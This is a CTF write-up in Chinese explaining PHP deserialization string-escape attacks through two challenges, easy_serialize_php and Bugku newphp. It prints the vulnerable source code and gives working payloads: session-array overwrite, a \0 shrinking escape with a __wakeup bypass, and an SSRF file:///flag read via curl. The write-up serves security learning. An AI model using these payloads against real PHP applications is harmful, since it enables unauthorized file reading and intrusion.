兩道題淺析PHP反序列化逃逸

2023-12-04 18:01:37

兩道題淺析PHP反序列化逃逸

一、介紹

  • 反序列化逃逸的出現是因為php反序列化函數在進行反序列化操作時,並不會稽核字串中的內容,所以我們可以操縱屬性值,使得反序列化提前結束。

  • 反序列化逃逸題一般都是存在一個filter函數,這個函數看似過濾了敏感字串,其實使得程式碼的安全性有所降低;並且分為filter後字串加長以及字串變短兩種情況,這兩種情況有著不同的處理方式。

    • 例如這段程式碼:

      <?php
      
      function filter($img){
          $filter_arr = array('php','flag','php5','php4','fl1g');
          $filter = '/'.implode('|',$filter_arr).'/i';
          return preg_replace($filter,'',$img);
      }
      
      $ab=array('user'=>'flagflagflag','1'=>'1');
      echo filter(serialize($ab));
      
      ?>
      

      本來反序列化的結果為:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}

      但是因為敏感字串替換變成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}

      這樣在反序列化時,就導致了原先的鍵值flagflagflag被現在的12個字元";i:1;s:1:"1替換了。導致函數誤以為鍵user的值為";i:1;s:1:"1

      但是同時這裡確定了有兩個類,所以要想反序列化成功,則需要讓原來鍵1對應值再包含一個類,這樣就能夠填補前面被覆蓋的1鍵值的空缺;i:1;s:1:"1"應該是i:1;s:13:"1";i:2;s:1:"2",即過濾後字串為:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}

    • 下面通過兩道題實際應用一下該漏洞。

二、【安洵杯 2019】easy_serialize_php

2.1 收穫

  • php反序列化逃逸
  • 陣列變數覆蓋
  • POST請求體傳遞陣列

2.2 分析

  • 程式碼:

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    } 
    

    分析程式碼,首先filter函數實現了一個替換字串中敏感字元為空的操作。

    然後對$__SESSION進行了設定,但是下面出現了一個extract($_POST);。在Php中extract函數實現一個提取陣列中鍵值並覆蓋原陣列的功能。也就是說,雖然上面設定了user鍵的內容,但是如果POST變數中不存在user鍵,那麼更新後的$__SESSION中則不包含user鍵。

    下面又進行了img鍵值的設定,並將序列化後的字串傳入filter中進行過濾。

  • 思路

    首先肯定是需要檢視phpinfo()中的檔案;然後應該是通過更改$__SESSION陣列實現反序列化讀檔案。

3.3 利用

  • 存取Phpinfo:

    得到了一個提示,包含了d0g3_f1ag.php檔案。說明我們需要存取這個php檔案。

  • 讀檔案:

    當我們GET請求中設定img_path變數時,勢必會觸發sha1函數,這樣我們無法讀取正常的路徑;但是不設定img_path更無法得到檔案內容。於是思考這個反序列化。因為反序列化後的字串會經過filter函數處理,那能不能通過故意引入敏感字串,使得序列化後的字串改變,從而在反序列時得到我們想要的輸出呢?

  • payload

    在本題中因為將敏感字串替換為空,所以是字串變短的情況。

    首先f的值需要為show_image;其次我們需要覆蓋img鍵對應的值為d0g3_f1ag.php的編碼值:ZDBnM19mMWFnLnBocA==。也就是說我們構造的字串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",並且讓該字串前面的序列化內容正好被敏感字元過濾的坑位吃掉。同時,為了覆蓋最後系統賦值的img,我們在字串後面還要加一個類。

    _SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
    

    其過濾後的序列化結果為:

    原本的紅線部分作為了現在func鍵的值。

  • 抓包:

    image-20231028163147750

    注意_SESSION陣列修改方式不包含$符號與引號(不要按照Php格式寫就行,這裡笨了)。

  • 繼續:

    說明要繼續讀取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

    payload:

    _SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
    

三、Bugku newphp

3.1 收穫

  • php反序列化逃逸
  • __wakeup函數繞過

3.2 分析

題目程式碼:

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));
  • 首先為了能夠存取hint.php,我們需要繞過__wakeup()函數,不然hint變數會被賦值為表情符號。

    • 這裡的繞過其實簡單,因為如果序列化字串中宣告的變數數量大於實際的變數數量就可以實現不執行__wakeup()
    • 正常的evil類序列化後為:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},這裡只有一個屬性。我們將其改為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
  • 其次,為了反序列化後的結果為evil類,需要進行反序列化逃逸,因為無法使用username=new evil()然後在User類的__construct()函數建立evil類的辦法。

    • 我們需要使得User中的username或者password屬性為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

    • 分析write()read()函數可以發現,chr(0)對應的是空字元,一般我們提供的字串中不會包含空字元;但是我們可以讓字串中包含\0\0\0從而在read()函數中實現替換,使得字串變短一半。這裡需要注意chr(0)雖然是空字串,但是其也佔了一個長度,所以從'\0\0\0'到chr(0).*.chr(0)其實是字串縮短了一半。

    • 正常的User類序列化之後為O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我們讓username中包含許多\0,從而字串變短後吞掉後面的"s:8:"password";s:4:"共21個字串,但是同時因為我們的payload最後肯定是大於10的,所以password後面的s:4應該是兩位數而不是4,所以總共需要吞掉22個字元。

    • 量子力學計算一下,我們需要24個\0,並且password中增加一寫字串,才能實現覆蓋22個字串。

    • 測試:

      <?php
      class evil{
          public $hint;
      
          function __wakeup() { 
      		echo $this->hint;
          }
      }
      class User
      {
          public $username;
          public $password;
      
          public function __construct(){
              $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
              $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
          }
      
      }
      $a=new User();
      echo serialize($a);
      echo '                               ';
      function write($data){
          global $tmp;
          $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
          $tmp = $data;
      }
      
      function read(){
          global $tmp;
          $data = $tmp;
          $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
          return $r;
      }
      echo read(write(serialize($a)));
      unserialize(read(write(serialize($a))))
      ?>
      

      這樣會直接輸出字串hint.php。實際為了躲避__wakeup函數,evil的類變數需要設定為2。

3.3 反序列化逃逸

payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}

3.4 SSRF

得到base64字串解碼:

<?php
 $hint = "index.cgi";
 // You can't see me~

直接存取後得到:

{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" } 

說明網站是向http://httpbin.org傳送了一個請求,那這裡就需要SSRF。

這裡我們可以向其傳參name引數,並且Agent裡面提示了,其使用的是curl進行傳送請求。

所以為了讀取flag,我們要使用file協定,但是這裡是向http://httpbin.org傳送請求。這裡使用空格截斷,這樣在curl同時可以實現向兩個url傳送請求(可以在本地命令列測試curl的用法)

payload:

?name= file:///flag

注意name後的空格。

總結

  • 對於反序列化逃逸題目首先要看有沒有序列化後的字串替換,如果存在,可以說題目基本上是在考察該知識點。
  • 分析替換方式。
    • 縮短型別:基本上是靠前一個屬性包含的字串被縮短後,吞吃後一個屬性;同時在後一個屬性中存放需要利用的屬性即可。
    • 變長型別:這個後續如果遇到相關題目會進行補充。

參考連結

PHP反序列化字元逃逸詳解

如有錯誤敬請指正!